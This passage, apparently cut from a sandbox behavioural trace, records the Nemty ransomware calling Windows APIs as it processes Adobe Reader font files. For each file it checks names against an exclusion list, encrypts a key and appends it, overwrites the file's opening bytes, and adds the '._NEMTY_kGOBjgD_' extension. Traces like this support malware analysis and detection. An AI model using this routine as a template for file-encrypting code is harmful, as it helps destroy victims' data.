RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.041] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-italic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Italic.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-italic.otf._nemty_kgobjgd_")) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.042] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Regular.otf", cAlternateFileName="ADOBEA~4.OTF")) returned 1 [0214.042] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2=".") returned 1 [0214.042] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="..") returned 1 [0214.042] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="...") returned 1 [0214.042] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="windows") returned -1 [0214.042] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.042] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="rsa") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="NTDETECT.COM") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="ntldr") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="MSDOS.SYS") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="IO.SYS") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="boot.ini") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="boot.ini") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="ntuser.dat") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="desktop.ini") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="CONFIG.SYS") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="RECYCLER") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="bootmgr") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="programdata") returned -1 [0214.043] lstrcmpiW (lpString1="AdobeArabic-Regular.otf", lpString2="appdata") returned -1 [0214.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0214.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0214.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0214.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0214.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0214.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0214.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0214.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0214.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.044] Sleep (dwMilliseconds=0x5) [0214.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3337f5b0, dwHighDateTime=0x1d561e8)) [0214.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3337f5b0, dwHighDateTime=0x1d561e8)) [0214.045] GetLastError () returned 0x0 [0214.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.046] GetLastError () returned 0x0 [0214.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.046] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.046] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.046] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.046] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="TJAXQjW5fMdT334wFJ40bHqofQDtyzAwJtdkW6dC3dMFoYxvhuBFjhfsqv9lyYBH\r\nHPaQ4lGpa9aniaDlbvCxN8zzlLttE/41ItiPwssMUlrJhIjrDs47ZUujy8UrK0L6\r\nw2glZNKb8tI/ZscwOOxVIp4tI5HYPDJx8wVYYOo/FIV34Ep8GRXsZPWBEXleE1pE\r\nStBoLr35mGqctIaT2i2cIy9dK4fC/vYiOcc5cQLmQ0KdPuKLqvNThiJ2EJQ8LGSX\r\nPxcxnFSGNBnioMET8hptJqOodI+1qiOuCvD85pFfZkwEQhmcnmnjtHcpJfRHE1/C\r\n5ah4c9zyCijyK11yUg/MCA==\r\n", pcchString=0x653e91c) returned 1 [0214.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.046] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.047] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=228404) returned 1 [0214.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0214.047] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.047] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0214.058] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.058] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0214.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.058] SetFilePointer (in: hFile=0x254, lDistanceToMove=228404, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x37c34 [0214.058] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.058] CloseHandle (hObject=0x254) returned 1 [0214.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.059] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Regular.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-regular.otf._nemty_kgobjgd_")) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.060] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10e4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Bold.otf", cAlternateFileName="ADOBEH~4.OTF")) returned 1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2=".") returned 1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="..") returned 1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="...") returned 1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="windows") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="rsa") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="NTDETECT.COM") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="ntldr") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="MSDOS.SYS") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="IO.SYS") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="boot.ini") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="boot.ini") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="ntuser.dat") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="desktop.ini") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="CONFIG.SYS") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="RECYCLER") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="bootmgr") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="programdata") returned -1 [0214.060] lstrcmpiW (lpString1="AdobeHebrew-Bold.otf", lpString2="appdata") returned -1 [0214.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0214.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0214.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0214.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0214.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.061] Sleep (dwMilliseconds=0x5) [0214.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x333cb870, dwHighDateTime=0x1d561e8)) [0214.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x333cb870, dwHighDateTime=0x1d561e8)) [0214.078] GetLastError () returned 0x0 [0214.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.078] GetLastError () returned 0x0 [0214.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.079] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.079] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: 